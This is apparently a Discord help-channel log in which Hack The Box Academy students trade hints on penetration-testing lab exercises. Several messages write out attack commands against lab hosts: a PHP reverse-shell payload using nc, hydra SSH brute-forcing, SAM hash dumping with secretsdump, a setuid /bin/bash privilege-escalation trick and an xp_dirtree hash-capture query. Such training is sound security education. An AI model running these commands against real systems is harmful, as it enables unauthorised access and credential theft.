I did many times. ran the mutated list, ran fasttrack, rockyou, etc.

[ashen umbra]

Password cracking: Protected Files

I have access to Sams

[analog dock]

I believe it gives a hint to the password. Mutate that one with the .rule file and you should be able to get it if I remember correctly

[ashen umbra]

That gives you sams. It assumes that I already have Kiras

[fickle fiber]

on "Attacking common services RDP" I think I need to do a pass the hash connection with the rdp client but I don't know how to get the hash for the other user, can I get a hint?

[fathom pendant]

There's another module section for kiras password

It has a hint for it

[fickle fiber]

nvm, there is a hash in plain text on the users desktop 💀

[ashen umbra]

hmm

mysql maybe

[fathom pendant]

I dont recall off the top of my head which section references her password in the hint

It's just one of the first ones

[ashen umbra]

ok let me look

[remote fulcrum]

Anyone available that for module Footprinting - LAB Medium, I am on the right track? I seem to hit a brick wall 😦

[ashen umbra]

Ah yes

I remember

Thanks Marcie

[heady tusk]

sure, what have you been trying so far?

[remote fulcrum]

I am up to the point to try to login to MSSQL using SQL Studio. But the creds (sa) I have dont seem to work. No matter what I do.

[fathom pendant]

What other user could (sa) be?

Check C:\Users

[remote fulcrum]

hmm.

[fathom pendant]

And apply critical thinking

[remote fulcrum]

Thx for the hint. I have something to work with now.

[fathom pendant]

Don't reply and ask here

Just try and fail/succeed

:D

[remote fulcrum]

Many many thx

[fathom pendant]

Ofc

My first steps when I access a box is check C:\users or /home/

To see what potential user accounts exist

[remote fulcrum]

Did that. But was staring blind on the sa acct.

[fathom pendant]

Yeah just always apply critical thinking

[remote fulcrum]

Pffff hehe.......getting somewhere now

[sly dome]

can anyone check if ZAP HUD from zaproxy is working on his side?

[remote fulcrum]

Again thanks for the push in the right direction

[sly dome]

i think it isnt my problem coz it is happening on pwnbox

[thorn urchin]

zap hud is always like a 50/50 for me, I dont bother with it

[sly dome]

HAHAHA then cool

i will stick to burp

[thorn urchin]

like every web tester ever does

good choice

[sly dome]

if i need something else i will just script it with Python

long life to requests library

[lean condor]

@fathom pendant The solution is right there , thank u 😁

[rustic sage]

nope, and read #welcome and verify

[fathom pendant]

Yeah. I basically did the same troubleshooting when I did it

[lean condor]

second lab was 🙃

[real basalt]

hi

Is anyone here?

[limber river]

What's up

[fathom pendant]

https://dontasktoask.com

[real basalt]

https://academy.hackthebox.com/module/136/section/1288
I'm doing this exercise. My question is that why is there no file path in the upload file request

[limber river]

Ofc there's a request, you are just intercepting the wrong one

If I remember well it was a green button

[real basalt]

How do I send a screenshot from here? Send a screenshot to make it clear

[limber river]

Idk

[thorn urchin]

verify your account with instructions in #welcome

[limber river]

Just follow the steps (u need to subscribe in the main platform)

[real basalt]

Do I have to subscribe to verify? Is it not possible to just register with HTB?

[novel matrix]

Please read #welcome and let's keep this channel on topic please

If you need help, we have #1024429874246590575

[real basalt]

thks

[supple sparrow]

nudge for AD Enumeration & Attacks - Skills Assessment Part II - Q10

[vital adder]

hint go back to one of the ||"Poisoning"|| section

your command is right, maybe try on the pwnbox

[vernal patio]

Good idea, thanks. I did also try it on a different computer running Linux but pwnbox is worth an attempt

[supple sparrow]

Can i dm you, I've been staring at inveigh for almost an hour now

[vital adder]

sure but i've to go in 5 so let make this quick

[elfin cedar]

Hi all. I am in the Pivoting, Tunneling, and Port Forwarding module, Portfowarding with Windows Netsh and I can't run Netsh. I get "This app can't run on your PC".

nevermind

I had to open netsh.exe separately and run the command from there.

[rustic sage]

Hello everyone im trying to run juicy potato on a machine but i have a error someone know what is this?

Testing {2C256447-3F0D-4CBB-9D12-575BB20CDA0A} 1234
COM -> recv failed with error: 10038
PS C:\tools> 

[fiery berry]

What section of a module is this? Anyway, you can try to use different CLSID to see if you get around the problem

[rustic sage]

Im in windows privesc module skill assessment, i try 4-5 diferent CLSID and no one works for me

[crude dawn]

I apologise in advance for the noob question. I have just started the "ACTIVE DIRECTORY ENUMERATION & ATTACKS" module Theoretically, I should use this command to rdp to host ea-attack01: xfreerdp /v:<MS01 target IP> /u:htb-student /p:Academy_student_AD!

However, even if I go up to vpn or try to connect from the htb instance, I get the following error: [09:23:27:215] [2697:2698] [ERROR][com.freerdp.core] - freerdp_tcp_is_hostname_resolvable:freerdp_set_last_error_ex ERRCONNECT_DNS_NAME_NOT_FOUND [0x00020005]

Why is the following address not resolving? Any guesses?

[lunar marsh]

Can anyone Help on this , Intro to Python 3 , Conditional Statements and Loops , Question is , In "Code block 2" the blank should be filled with what, to output all numbers in a terminal? , Ive tried EVERYTHING ??????

[fiery berry]

what did you try?

[lunar marsh]

Tuple , elements, objects ,Groceries , Food , Variables

Strings

[fiery berry]

you need to literally write the piece of code you need to use in order to print all the numbers in the terminal output

[lunar marsh]

Thanks Will Try

[misty current]

Wrap the password in quotes just to be safe, not the solution for that error tho.
If you're to RDP to ea-attack01, why would you use the MS01 IP to rdp into.
If you don't mind, can you give more context?

[misty current]

Also, mention the section on which you're facing this issue. People have notes and can quickly help you next time.

[crude dawn]

Sorry for the typo. I tried the following command: xfreerdp /v:ea-attack01 /u:htb-student /p:Academy_student_AD!

Also:

ssh htb-student@ea-attack01

And the following module:
Active Directory Enumeration & Attacks

Subsection below:
Initial Enumeration of the Domain

Initial Initialization of Enumeration of Enumeration, and within this paragraph:
Start Wireshark on ea-attack01

[misty current]

The machine you're trying to rdp from doesn't know what to resolve ea-attack01 to probably. If you have the ip address, you should mention the IP address directly or add the ip and hostname to your /etc/hosts file

[crude dawn]

How can I find out the ip in this case? Unfortunately I didn't see it in the description :/

[fiery berry]

The "ea-attack01" machine is the one you land on after you get to log in via SSH

[crude dawn]

but I can't ssh because I don't know the ip and it doesn't resolve to the hostname

[fiery berry]

did you start the machine?

[crude dawn]

I only saw the option to start the workstation :/

[crude dawn]

ooooooooo, sorry for the noob question. I see it now

thx

[frigid stirrup]

RETBleed attack <---- anyone familiar with

[cedar void]

Is the nessus scanner that I will need for this lab already installed on the VM ? https://academy.hackthebox.com/module/108/section/1233

[frozen mesa]

ssh b.gates@94.237.59.185
b.gates@94.237.59.185: Permission denied (publickey).

How to solve the permission denied problem?

Module: LOGIN BRUTE FORCING

[autumn pilot]

I'm pretty sure that the target comes with a port

Meaning that SSH does not work on the default one (22)

[frozen mesa]

Silly me, thanks!

[acoustic owl]

If I remember correctly, the scanner was installed

[chilly kernel]

Hello all, I'm doing the Active Directory Enumeration & Attacks module and the network is behaving different than in the walkthrough

I wasn't able to capture any host requests / mdns traffic via wireshark, and the pingsweep via fping is showing 3 hosts alive, not 9 like in the walkthrough

Any input appreciated, I'm 99% positive I'm not doing anything wrong (copy pasted the commands from the lecture)

Yes, I've let the environment boot up fully before scanning, rescanned multiple times

[analog dock]

Provide the section as well

[chilly kernel]

https://academy.hackthebox.com/module/143/section/1265

fping -asgq 172.16.5.0/23

i ran different commands and it's the same thing (diff tools)

[analog dock]

What is incorrect about it?

Enumerate the 3 active hosts

[chilly kernel]

In the walkthrough, there's 9 hosts alive. I was under the impression the behavior of the environtment in the walkthrough is meant to be 1:1 with what I'm getting

That's what has me confused, the scan itself works fine if there's actaully 3 hosts alive, not 9

[analog dock]

Afaik it isn’t necessarily 1:1. I do know that the ones you have active, are the ones you need for the questions

[chilly kernel]

Very good to know, thanks

[analog dock]

You’re welcome

[rustic sage]

@everyone

[misty current]

<@&861185840277487616>

[rustic sage]

wow very serious

[lapis pelican]

Rate the amount of knowledge you gained from this module. Rate outta 10. 🙂

[frozen mesa]

how to handle this: Error
There are no available instances. Please try again later.

Got that already for hours, cannot do my assignments.

[dapper flax]

Hey guys is it possible to retrieve the bloodhound output from the HTB Machine used through RDP to my kali machine ?

[rustic sage]

there are many ways to get the zipped file from the victim box to your attack box. there is all whole module teaching you how to download and upload

[remote fulcrum]

I am gettin nowhere with the hard lab of module Footprinting. Anyone able to give me a nudge/hint?

[rustic sage]

you can dm to avoid spoilers.

[analog dock]

What have you tried

And what are you stuck on?

[remote fulcrum]

I got a hint already. Of course I forgot a recon/enum step.

[analog dock]

Alright!👍🏼

[silver mesa]

I'm currently working file upload module in CPTS. Stuck on the https://academy.hackthebox.com/module/136/section/1290 type filters sections

So far, Tried with double extension too

[oblique spoke]

Hello! I got stuck at Footprinting module medium lab. The sa usernam pw that i found on the server not working with the sql server login. Did i missed something?

[fathom pendant]

Try changing the login type when logging into mssql

[limber river]

Did you try character injection?

[fathom pendant]

Or maybe there's a higher privilege user with that password

[silver mesa]

Yes I tried

May I DM you ?

[limber river]

The webserver is not able to run all the files

[oblique spoke]

Tried

[fathom pendant]

Are you sure?

Check C:\users

[fathom pendant]

You've tried windows Auth yeah?

Like I said you may need to use a higher privilege user 😉

[oblique spoke]

Jep

Probably

[fathom pendant]

My hint isn't a probably

[oblique spoke]

Alright

[fathom pendant]

I'm just trying to poke you into thinking critically about the info you have

Because currently you do have the info to get the answer

[oblique spoke]

Yeah, we have alex, admin and public users on the server

And i found a important.txt on an another server with these credentials

[fathom pendant]

Don't tell me. Try with the information I've poked you with and come back if that doesn't work

[oblique spoke]

Looks like it was the credentials for the mysql bc the username was alrrady there when i open it

[fathom pendant]

Mssql

Do not mix the two up

[limber river]

Don't spoil on others, but always try to authenticate to the system with the highest user you got

[oblique spoke]

Sorry

[fathom pendant]

You have all the info needed to escalate privileges

Iirc you can run mssql as admin

And you DO have the password

[oblique spoke]

Thank you

[zinc marsh]

7.5

[lapis pelican]

What restrained your from rating it 10?

[leaden pond]

I'm working on the Blind Data Exfiltration section of the Web Attacks module. I've tried both of the methods in the section (manual and automated using XXEInjector). Neither method has worked for me so far. For the manual method, I start a PHP server on my attack box and forward the request from burp as shown in the section, and back in the terminal I see that there was an accepted request, but then I don't see anything else. I just see "CLOSING." For the XXEInjector approach, I get "Cannot resolve hostname." Does anyone have any tips?

[eager siren]

in linux priv escal. logrotten, i have to contruct a different payload for the attack to work? beacuse i dont seem to get a reverse shell

[smoky snow]

Hey, anyone available to help with logrotten in linux privesc ? It doesn't seem to win the race condition

[twilit sun]

Hi! I just signed up for a paid account and am running into an issue. I already posted on the community chat but did not get an answer. I tried the support bot, but no luck. Can anyone help?

[smoky snow]

the support bot will help you with a real human when available

[eager siren]

am stuck here too haha

[smoky snow]

@eager siren and I are both stuck while we think we pretty much did everything we could to exploit correctly the weakness, anyone has solved it to help us ?

[vital adder]

sure shoot me a dm if y'all still need help with that

[thick juniper]

On the Citrix Breakout Win Priv Escalation module, I’m a little unsure on where to run smbserver.py from. On the module it’s being run from root@ubuntu but I’m pretty sure it needs to be from the initial target box. I’ve transferred it over to the initial Linux box and it still doesn’t appear to be working. I think the answer is probably in front of me but I can’t see it yet

Anyone able to nudge me please?

[vital adder]

for the manual way you'll need to give us more than that for anyone to be able to help you like what did you try what work or didn't (say you started a php server and do exactly what the section show isn't really a good question) and for the automated tool at least give us what command did you use

[vital adder]

yep you run the smbserver on the given linux machine

sudo /home/htb-student/.local/bin/smbserver.py -smb2support share /home/htb-student/Tools

[thick juniper]

Ahh I didn’t know it was in that folder! You’re a star, thank you ❤️

[smoky snow]

The hint is in the screen where it was in Tools folder if you look at the prompt

[thick juniper]

Totally missed that 🤦‍♂️ thanks!

[quick crane]

I think that have proplem,I spended two days on this.

[smoky snow]

tldr; keep going, reset your box if necessary and you'll win the race condition once. Also use permanent privesc like || chmod +s /bin/bash || or || copying /etc/passwd, cat /root/flag.txt into a file etc || instead of revshell because the revshell won't last long

[quick crane]

yeah,I solved it,I will finish the cpts

if you need help,please dm me

[smoky snow]

I already have the CPTS certification but thanks 🙂 I'm revisiting old modules that got updated

[frozen mesa]

LOGIN BRUTE FORCING --> Service Authentication Brute Forcing -->Using what you learned in this section, try to brute force the SSH login of the user "b.gates" in the target server shown above. Then try to SSH into the server. You should find a flag in the home dir. What is the content of the flag?

I've brute forced the second account (m.gates)but i cant get the first one (b.gates) cracked.

cmd b.gates ||hydra -l b.gates -P /opt/useful/SecLists/Passwords/Leaked-Databases/rockyou-10.txt ssh://94.237.53.115:52965||
cmd m.gates ||hydra -l m.gates -P /opt/useful/SecLists/Passwords/Leaked-Databases/rockyou-10.txt ssh://94.237.53.115:52965||

What did i miss?

[sly dome]

XDDDDDDD

[smoky snow]

Can't remember this one but the wordlist you're using is only the top 10 password, which might be a little light

[frozen mesa]

Think i've misunderstood that i should use the short rock-you.txt and should be using a different method learned earlier in the module?

[acoustic owl]

I think something new will be released soon 🤩

[steep palm]

@silver mesa

[late moth]

Will be curious to see how that cert compares to the BTL1 cert

[lethal atlas]

For this section you are supposed to use a custom wordlist like they had you create in the Personalized Wordlist section.

[leaden pond]

Yeah that makes sense, my apologies. I often find it difficult to strike the balance between giving enough for people to help me but not so much that it spoils anything for others. Sounds like I was way too tight-lipped this time. I just went through the exercise again and am getting a different error this time. I first intercepted a POST request to http://<TARGET_IP>/blind (filled out the form on the site and intercepted the post request with burp), deleted all code underneath <?xml version="1.0" encoding="UTF-8"?> and replaced the deleted code with XXEINJECT, copied the request and wrote it to a file called req.txt, then ran the following command: ruby XXEinjector.rb --host=127.0.0.1 --httpport=8000 --file=req.txt --path=/327a6c4304ad5938eaf0efb6cc3e53dc.php --oob=http --phpfilter I get the message "FTP/HTTP did not get response. XML parser cannot parse provided file or the application is not responsive."

[lapis pelican]

This is the first time I saw a bunny CPTS certified.

[sly dome]

Blue Teamers 🙌

[analog dock]

I recommend you watch ippsec’s video on “book”, the logrotten exploit is used there

[analog dock]

To you too

[tawdry vapor]

Hello guys, i'm in the PIVOTING odule, with the ICMP TUNNELING WITH SOCKS task

someone knows who i fix this error?

[thorn urchin]

Did you think critically before you ran this?

[fickle fiber]

doing "Password attacks - Passwd, Shadow & Opasswd" I've been waiting for the unshadowed hash to crack for several minutes

[orchid pine]

yeah

what abou it

[fickle fiber]

pressed enter way too soon sorry about that

[orchid pine]

its oki mate

[fickle fiber]

I found the back ups for the shadow and passwd file and I ran the unshadow command and I've been trying to crack that with hashcat

but it's taking forever

am I doing something wrong or I need to wait?

[orchid pine]

which wordlist you are using

[rustic sage]

if you want to dm i can try to help

[fickle fiber]

rockyou.txt

[orchid pine]

use the one

in the resources

user.list

and password.list

ig

[fickle fiber]

that was it, thanks

[orchid pine]

it worked

thats good

[tawdry vapor]

i'm in the pvt box

[orchid pine]

welcome anytime

[haughty pond]

Just have the same issue as @smoky viper , did use secretsdump but still have the same NT hash for all users, which when cracked gives an empty password 😢

[thorn urchin]

The error is because it cant find the shared object. Recompile except statically

[orchid pine]

yes

[tawdry vapor]

hmmmm, i followed the modules steps, i'll try with another way

[orchid pine]

what cmnd u used

[thorn urchin]

You dont need to try another way. you just need to statically compile the tool first

[fiery berry]

can you paste the command used?

not the whole output just the command

[haughty pond]

||impacket-secretsdump -sam ./SAM -system ./SYSTEM LOCAL||

Just the normal one ^^

done from pwnbox

[fiery berry]

going to dm you

[fiery berry]

A remainder the NTLM is LM:NT if LM is not used the first part it's empty "aad3c435b514a4eeaad3b935b51304f "

[thorn urchin]

impacket is weird and often really wants you to put the : in front too

[tawdry vapor]

can i DM?

[thorn urchin]

so much that Im tempted to make my own patch just to not

[thorn urchin]

no thanks Im at work. you can ask follow up questions here

[fiery berry]

I think most of them are using only the first part of the hash "aad3c435b514a4eeaad3b935b51304f " 😅

[thorn urchin]

? Im not disagreeing

[tawdry vapor]

Would you have the command there, please?

[thorn urchin]

why not instead google how to compile statically for the language of the tool and learn something new and useful instead?

[uneven spear]

o

[tawdry vapor]

I asked here because I didn't understand the reason, I hadn't done it yet, but thanks for the help, I'm looking here

[foggy badger]

hello- so i wonder can you do CTF questions solo

[thorn urchin]

Well Ive given you the vital clue you need to discover how to solve the issue, so now its on you.

This wont be the only time you see an error like this. youre going to have to learn how.

[foggy badger]

so just a question quesiton im triyng to join a team but it doesnt exist while it does exist

[rustic sage]

i’m assuming you’re talking on the main platform?

read #welcome and verify your account. then either go to #1024429874246590575 or use the support feature on the website

[thorn urchin]

beat me to it

[foggy badger]

wait ctf and hackthebox dont have the same teams?

[thorn urchin]

this channel is for academy module discussion only

[rustic sage]

no

[foggy badger]

oh sorry

[rotund sorrel]

edit: I think I found something, hint: enumerate more :) hey I'm currently trying the knowledge check for getting started, I know of the way to gain one that includes msfconsole, but I would like to find another. I thought I found one but the script errors out, any pointers/tips?

[peak thistle]

I'm looking for a small hint regarding the skill assessment in Whitebox Pentesting 101. I believe my payload should work but I can't quite wrap my head around why it doesn't.
@pine dagger : I see you finished the module. Would you be open to a DM? 🙂

[rotund sorrel]

ok so I managed to get to the admin console, but file upload doens't function, can anyone provide a tiny hint?

[high zinc]

(@Coy I'd love to help but I haven't done that box sorry 😦 )

[rotund sorrel]

The box went offline as soon as I did that, so gonna retry and upgrade it

[lusty thicket]

what box is that

[rotund sorrel]

getting started knowledge check

[lusty thicket]

if you follow the same steps as that module you should be able to complete that box

[rotund sorrel]

I had to get a liiiiiittle more creative with how to transfer the shellcode to the webserver but I ended up finding a spot for it :)

Have a tty shell running as we speak :D

[lusty thicket]

awesome

[rotund sorrel]

in hindsight, I should have enumerated the admin panel more

[sly dome]

why is this command not giving me back any result

[thorn urchin]

did you think critically before running this command?

[fading oracle]

Hi! What is the password for the "mssqlsvc" user? i know its done with Responder

IN the Attacking Common Services/SQL

but i cant capture anything

can somebody give a hint?

[sly dome]

XD! im done for today wasnt even giving a fk about subnetworks

i just had to check at subdomains

not IPs

[thorn urchin]

I was meming but glad you figured it out anyways

[fading oracle]

can somebody help pls?

it is driving me crazy

[thorn urchin]

would help if you actually provided the commands you tried

[fading oracle]

i ran responder: sudo responder -I tun0
sqsh -S 10.129.203.12 -U htbdbuser -P 'MSSQLAccess01!' -h

[sly dome]

im just in a hurry and want to end these questions :S

[fading oracle]

1> EXEC master..xp_dirtree ' \10.129.203.12\share\ '
2> GO

[thorn urchin]

thats not enough slashes

also you provided the same IP as the target?

Did you think critically before you ran this?

[fading oracle]

in the sample the slashes were like this

yes i did

[thorn urchin]

unc paths always start with double \ in windows

[fading oracle]

discord does not show the second slash

i did it with a double

[thorn urchin]

gotcha

why did you use the target ip though

[rustic sage]

helpful to always use code blocks when sending commands - 1> EXEC master..xp_dirtree '\\10.129.203.12\\share\ '

[fading oracle]

?

[thorn urchin]

Youre command is reaching the same server you connected to in your sqsh command

how do you expect responder to see it?

you need to specify the share as being on your box

[fading oracle]

i tried it with my ip too

[thorn urchin]

did you try the other suggested sql command too?

[fading oracle]

https://i.imgur.com/CcP9x0C.png

[thorn urchin]

working for me

try using mssqlclient, maybe sqsh is just being weird

[rustic sage]

isn't there supposed to be output after you execute the go line...?

[fading oracle]

should be yes but nothing happens

samba server is running on my end ofc

[rustic sage]

reset the target, or this

[fading oracle]

just for verification

i need to run responder, i need to run smb server on my end, and i need to execute those commands in mssql

this is the concept right?

[rustic sage]

you don't need Responder AND an SMB Server

choose one

"To make this work, we need first to start Responder or impacket-smbserver and execute one of the following SQL queries:"

[fading oracle]

than i dont understand

[rustic sage]

Responder and the SMB server will both catch the hash and print it to the terminal

[thorn urchin]

your smb server is likely directly blocking responder from working lmao

[fading oracle]

i restarted everything

i ran impacket-smbserver

commands still not working

i dont consider myself stupid but this section of the module seem a bit unexplained

at least to me

[thorn urchin]

stop running smbserver

just run responder

[analog dock]

It literally says so in the section, I just checked

[rustic sage]

this is right from the module... it says "or" not and or both.

[analog dock]

To make this work, we need first to start responder OR impacket-smbserver

[thorn urchin]

Thats cool

now do it with just responder

[analog dock]

I’m not stuck lol

[thorn urchin]

I know

Im saying I dont care that the section says you can use either. I wanna see his results using responder

and only responder

[fading oracle]

ok so i restarted everything

i only ran one thing at a time

now i started responder

sudo responder -I tun0

[thorn urchin]

id also recommend connecting with mssqlclient over sqsh simply because sqsh seems to never work for me

[zinc marsh]

[fading oracle]

i am doing it now

[thorn urchin]

if responder with mssqlclient doesnt work then youve got some funky firewall stuff going on and Id say just use the pwnbox to get it over with

[fickle fiber]

I'm now doing "Protected Archives" from the "PASSWORD ATTACKS " module and after using zip2john and running john I can't get the password

[rustic sage]

don't use rockyou.txt for the Password Attacks module, use the wordlist provided

[fickle fiber]

damn, same mistake again

[zinc marsh]

I have a doubt with the using crackmapexec module

I don't understand the question xd

[thorn urchin]

of the smb modules, which one starts with zero

[trail depot]

Hello! I'm on 'Credentialed Enumeration - from Linux' of the AD enum & attacks module.
I'm trying to run bloodhound-python from my kali through proxychains instead of the parrot target for practice
Problem is DNS seem to not work through proxychains (nmap 172.16.5.5 works fine)

└─$ proxychains bloodhound-python -u forend -p Klmcargo2 -ns 172.16.5.5 -d inlanefreight.local       
...
dns.resolver.LifetimeTimeout: The resolution lifetime expired after 3.223 seconds: Server Do53:172.16.5.5@53 answered The DNS operation timed out.; Server Do53:172.16.5.5@53 answered The DNS operation timed out.

I tried adding inlanefreight.local to /etc/hosts, seems it's not enough

└─$ proxychains bloodhound-python -u forend -p Klmcargo2 -dc inlanefreight.local -d inlanefreight.local
[proxychains] Strict chain  ...  127.0.0.1:9050  ...  172.16.5.5:88  ...  OK
INFO: Connecting to LDAP server: inlanefreight.local  
...
    raise NXDOMAIN(qnames=self.qnames_to_try, responses=self.nxdomain_responses)
dns.resolver.NXDOMAIN: The DNS query name does not exist: inlanefreight.local.
...

Any ideas how to get it to work with proxychains?

[zinc marsh]

I have none with zero

nvm

I was grepping for 0 lol

[trail depot]

it works with ligolo-ng (of course...)
still, if anyone knows the solution with proxychains please tell!

[quasi wave]

hi I'm having trouble with the last section of Intro to Nmap module. I did all of these UDP scans, stealth scans, etc. and it does nothing. I am lost on where to begin and the hint seems vague. I looked up services that require a lot of data but there are a bunch of them.

I think if someone could help me get started in the right direction that would be great. Like if someone could tell me what I should research.

[lusty thicket]

hint: scan all the tcp ports

😉

[ashen umbra]

Im using john to crack an ssh in the Password cracking module - medium lab and cant seem to get the hash cracked.

I have ssh2john and have ssh.hash and have used fasttrack, rockyou, the resource password.list and a mutated list with no luck. Any ideas

[quasi wave]

ok doing that again right now. thank you

[orchid pine]

lemme chech my notes

[ashen umbra]

I need to take more notes

[orchid pine]

<@&861185840277487616>

[orchid pine]

cann u dm me

and tell me

what u did

[compact patrol]

4n0nx (881081150188183573) has been banned until 2023-10-26 20:35:11 (UTC).

[ashen umbra]

DM sent

[jolly cradle]

ty

[quasi wave]

I'm doing TCP scans but regular TCP scan and stealth scan aren't working. I am doing Xmas scans and Fin and Null scans. These show many opened | filtered ports but it doesn't say what the ports are.

this is for last section of nmap module

Idle scans I'm having a hard time with because I need a proxy

which I don't have

YouTubing Idle scans right now

idle scan won't work I guess

why isn't my Xmas or fin or null scans working in Nmap? It says there are lots of open | filtered ports but it doesn't say what the ports are. This is for Hack the Box Academy's last section of Intro to Nmap module.

[us-academy-1]─[10.10.15.183]─[htb-ac-605555@htb-jtsttncadw]─[~]
└──╼ [★]$ sudo nmap -sX -T4 -v 10.129.246.7
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-26 21:49 BST
Initiating Ping Scan at 21:49
Scanning 10.129.246.7 [4 ports]
Completed Ping Scan at 21:49, 0.02s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:49
Completed Parallel DNS resolution of 1 host. at 21:49, 0.00s elapsed
Initiating XMAS Scan at 21:49
Scanning 10.129.246.7 [1000 ports]
Completed XMAS Scan at 21:49, 1.47s elapsed (1000 total ports)
Nmap scan report for 10.129.246.7
Host is up (0.0026s latency).
All 1000 scanned ports on 10.129.246.7 are in ignored states.
Not shown: 869 closed tcp ports (reset), 131 open|filtered tcp ports (no-response)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.60 seconds
           Raw packets sent: 1135 (45.392KB) | Rcvd: 870 (34.788KB)

Open | filtered ports aren't showing up.

I mean it says that are there but they aren't displayed

[thorn urchin]

XMAS scans are old and outdated

theres virtually never a reason to use them as its nots the 90s

[quasi wave]

ok but I tried idle scans except I have no proxy to use

what proxy am I supposed to use?

doesn't it have to be an actual device?

I don't think I can just make something up

do I pretend to be a device on the machine's network?

[quasi wave]

ok but the only other thing I can think of is an idle scan at this point which I have had trouble implementing without a proxy

[smoky snow]

wow shocker, who would have thought 😄

[haughty pond]

Struggling with Attacking DNS exercise (from Attacking common services module) 😡 🤣

[thorn urchin]

not idle scan either

[haughty pond]

next thing to try ; suicide 🤣 😢

[quasi wave]

Ok someone said to reread previous three sections so I’m gonna do that and try to let it sink in.

Maybe I am missing something

[thorn urchin]

good advice

[orchid pine]

hello guys im on pivoting tunnling and port forwarding

┌──(shadowalker㉿kali)-[~/rpivot]
└─$ python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0 
New connection from host 10.129.155.115, source port 44010
Got command to close relay. Closing connection with client.
New connection from host 10.129.155.115, source port 44132
Socket error on sending command to remote side. Code 32. Msg Broken pipe
New connection from host 10.129.155.115, source port 44172

ubuntu@WEB01:/tmp/rpivot$ python2.7 client.py --server-ip 10.10.14.33 --server-port 9999
Backconnecting to server 10.10.14.33 port 9999
Backconnecting to server 10.10.14.33 port 9999
Unable to connect to 10.10.14.33 port: 9999. Caught socket error trying to establish connection with RPIVOT server. Code 111. Msg Connection refused
Retrying
Unable to connect to 10.10.14.33 port: 9999. Caught socket error trying to establish connection with RPIVOT server. Code 111. Msg Connection refused
Retrying
Unable to connect to 10.10.14.33 port: 9999. Caught socket error trying to establish connection with RPIVOT server. Code 111. Msg Connection refused

i tried this to perform nmap scan with tcp connect to look for all the host on the target

[10:41 PM]
└─$ proxychains nmap -sT 172.16.4.0/23 -p 80
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Starting Nmap 7.94 ( https://nmap.org/ ) at 2023-09-26 16:36 CDT
[proxychains] Strict chain  ...  127.0.0.1:9050  ...  172.16.5.0:80 <--socket error or timeout!
[proxychains] Strict chain  ...  127.0.0.1:9050  ...  172.16.4.2:80 <--socket error or timeout!
[10:42 PM]
└─$ tail -4 /etc/proxychains4.conf
meanwile
defaults set to "tor"
socks4  127.0.0.1 9050
[10:43 PM]
as soon as i starte the scan it giving me errors

as soon as i starte the scan it giving me errors

i hope some one can heklp me to find a solution

for this

[fading oracle]

Hi! Guys!
Find all available DNS records for the "inlanefreight.htb" domain on the target name server and submit the flag found as a DNS record as the answer.
Performed dig on all subdomains (dig any @white rock subdomains) ,Used subbrute on inlanefreight.htb but it just hangs does not do anything...

[fathom pendant]

Please put your long block of text/code in triple backticks (```)

[prime trout]

Where do I go for that kind of help?

[orchid pine]

how i tried it itsa not working

[fathom pendant]

Put them a line above and below

Also not in parenthesis

It looks like you tried using quotes not backticks

` not '

[hallow kiln]

The police, and don't send things to random strangers in the future

[prime trout]

I did they said they can’t help

[fathom pendant]

Either way, not relevant to this channel

Read #rules and #welcome

[prime trout]

What channel do I go to?

Alright thank you

[fathom pendant]

```
It will look like this (I escaped the first backtick to show you
```

[orchid pine]

do you know why its not working

like the cmnd

[fathom pendant]

Did you follow the steps properly

[orchid pine]

yeah

[fathom pendant]

Recheck to make sure

[orchid pine]

i did but ill try one more

[fathom pendant]

Oh

Right

You need to do sudo

[orchid pine]

sudo proxychain

?

right

[fathom pendant]

Yes

[orchid pine]

oh thx

[elfin cedar]

hi. I am on the Pivoting, Tunneling, and Port Forwarding Skills Assessment. I submitted the ip address for the host that I found from a ping sweep but it says its wrong. When I ping sweep that is the only one I am getting. I tried nmap and a one liner. Can I post the command for the ping sweep, or am I missing something?

[fringe shell]

you can dm if you want

[elfin cedar]

sweet thanks

[high reef]

need some help with this

section

my command gave me nothing. I'm using Dsquery and LDAP to form the command

[high reef]

got it

[molten thicket]

Hi all. A bit stuck on Nibbles regarding the "Initial Foothold".

I've tried searching this channel for what im looking for but gave up after a bit ha.

I am using pwnbox, but having an issue getting the netcat listener to spawn the shell on the target.

I believe it is an issue with the ATTACKER IP im using. The walkthrough says use the tun0, however, im not getting a response back from that.

I know im overlooking something.

Heres the php code for the reverse shell that I uploaded to images
<?php system(“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.58 1234 >/tmp/f”); ?>

Once i've uploaded I start the listener, and then curl the URI, and thats where im getting stuck and netcat is just listening

I've tried the metasploit route, however it says that image.php needs to be deleted manually and could not for the life of my figure that. I made sure all options were properly set etc

[orchid pine]

ig u need to ask about this here @boxes channel

[molten thicket]

i mean its a htb academy module

[orchid pine]

NIbbles

isnt a boxe

right

[molten thicket]

I reckon. I figured since there was other Nibbles chatter in here it would be a good place. I'll ask other channels.

Wait- no i think this is a good space to ask this question. It's a fundamental error im over looking and needing some support.

[sleek urchin]

still stuck ?

[orchid pine]

yes ma men

[sleek urchin]

were you able you login via ssh ?

[orchid pine]

i want to use the rpivot methode to do tcp connect with nmpa through proxychains to get the adress ip of the web

application

[sleek urchin]

what section exactly ? Skills Assessment?

the question's section

[orchid pine]

Web Server Pivoting with Rpivot

[sleek urchin]

that's the name of the module, and the module has section, what section are you stuck at ?

which one are you stuck at ?

[orchid pine]

Web Server Pivoting with Rpivot question

Using the concepts taught in this section, connect to the web server on the internal network. Submit the flag presented on the home page as the answer.

[sleek urchin]

got it got it

ok look in general HTB never tells you to follow a specific way or use a specific tool, it's only showcases a certain method or a certain way, and it's up to you to use it or not
of course it's always easier to use the presented way or explanation, and most likely it will work but sometimes that's not the case

[orchid pine]

i just want to know can i use this rpivot to do nmap scan

on the internal network

it feel like i can

but i dont know its not working

[sleek urchin]

the easy way to do this task is just to login via ssh with -D < PIVOT PORT> then from your machine use proxychains nmap <IP>

[orchid pine]

i thinked of it btw

ssh -D 9050 ubuntu@10.129.155.115

[sleek urchin]

now you could just proxychains firefox found_ip:80 but be sure if firefox is open to close it, then use pchains

[orchid pine]

can i dm you

[sleek urchin]

sure

[fading oracle]

guys, for you usually how long subbrute runs on average?

